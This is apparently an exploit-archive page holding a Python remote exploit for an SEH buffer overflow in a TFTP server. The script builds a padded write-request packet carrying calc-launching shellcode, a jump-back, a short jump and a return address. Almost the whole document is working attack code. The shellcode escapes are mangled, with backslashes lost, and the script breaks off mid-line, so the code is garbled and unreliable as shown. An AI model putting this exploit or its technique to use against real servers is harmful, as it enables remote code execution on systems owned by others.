[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : TFTP SERVER Buffer Overflow remote exploit
# Published : 2009-12-18
# Author : Molotov
# Previous Title : TLS Renegotiation Vulnerability PoC Exploit
# Next Title : Cisco ASA <= 8.x VPN SSL module Clientless URL-list control bypass
#!/usr/bin/env python
# This vuln is already owned by Muts ,
# but i want to add the second methode
# Note: we don't have more space for shellcode or Skape egghunter (23 bytes only) after SEH option
# I used the jump_back because is the best and easiest way for exploiting a SEH overwrite option
#
# Reference:
# http://www.exploit-db.com/exploits/5314
#
import sys
from socket import *
if (len(sys.argv) != 2):
print "Usage:t%s [target]" % sys.argv[0]
sys.exit(0)
host = sys.argv[1]
port = 69
print "TFTP SERVER Buffer Overflow remote exploit "
print "Coded By Molotov - Moroccans Hackers"
# calc
shellcode=(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
"x42x30x42x50x42x30x4bx48x45x54x4ex53x4bx38x4ex57"
"x45x30x4ax37x41x50x4fx4ex4bx38x4fx34x4ax51x4bx58"
"x4fx45x42x52x41x50x4bx4ex49x44x4bx48x46x43x4bx38"
"x41x30x50x4ex41x33x42x4cx49x49x4ex4ax46x58x42x4c"
"x46x37x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx33x46x55x46x32x46x30x45x37x45x4ex4bx58"
"x4fx45x46x32x41x30x4bx4ex48x56x4bx38x4ex30x4bx44"
"x4bx38x4fx55x4ex51x41x50x4bx4ex4bx48x4ex41x4bx48"
"x41x50x4bx4ex49x58x4ex35x46x42x46x30x43x4cx41x33"
"x42x4cx46x56x4bx58x42x44x42x43x45x48x42x4cx4ax37"
"x4ex50x4bx48x42x44x4ex30x4bx38x42x47x4ex41x4dx4a"
"x4bx38x4ax36x4ax50x4bx4ex49x30x4bx38x42x48x42x4b"
"x42x50x42x50x42x50x4bx38x4ax56x4ex33x4fx55x41x43"
"x48x4fx42x46x48x35x49x48x4ax4fx43x38x42x4cx4bx57"
"x42x45x4ax56x50x37x4ax4dx44x4ex43x37x4ax56x4ax59"
"x50x4fx4cx38x50x50x47x35x4fx4fx47x4ex43x56x41x46"
"x4ex56x43x56x42x30x5a")
pad0x1 = 'A' * 400 # jumping the 0x00 monster :s
pad0x2 = 'A' * (1487 -len(shellcode)-400)
jump_back = 'xE9xC1xFBxFFxFF' # fly fly baby
Short_jump = 'xEBxf9x90x90'
return_addr = 'x2bx0ex41x00' # universal
mode = 'netascii'
payload = pad0x1 + shellcode + pad0x2 + jump_back + Short_jump + return_addr
Packet = "x00x02" + payload + "